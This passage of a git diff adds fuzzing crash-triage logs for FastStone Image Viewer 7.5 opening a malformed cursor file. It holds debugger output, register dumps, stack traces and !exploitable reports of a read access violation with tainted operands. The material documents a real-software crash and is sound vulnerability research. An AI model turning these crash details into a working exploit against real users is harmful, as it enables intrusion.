Files\microsoft shared\ink\tiptsf.dll +(1144.121c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=007fed2d ecx=07e97b10 edx=00003879 esi=fe630010 edi=07ca4fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.729788052700939360000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.913541500000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-5.86468e-005 4.54349e+034 3.31412e+033 1.47107e+023 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f78130 07ef5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00350000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00350000 5d0b8566 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a1 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00350000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/5552/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/5552/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..d766e27 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/5552/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/58193/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/58193/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/58193/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/58193/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/58193/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/58193/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/58193/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/58193/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..9cbe106 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/58193/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x588: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x588: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(588.c10): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07ee7b10 edx=00003879 esi=12738f10 edi=0fceafd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.743861801539748960000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.11719e-037 4.05616e+022 2.38849e+014 -3.48257e-038 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fc8130 07f45930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003f8000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003f8000 92236a57 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629c 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003f8000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/58193/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/58193/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..9cbe106 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/58193/WindowsDebugEngine_description.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x588: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x588: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 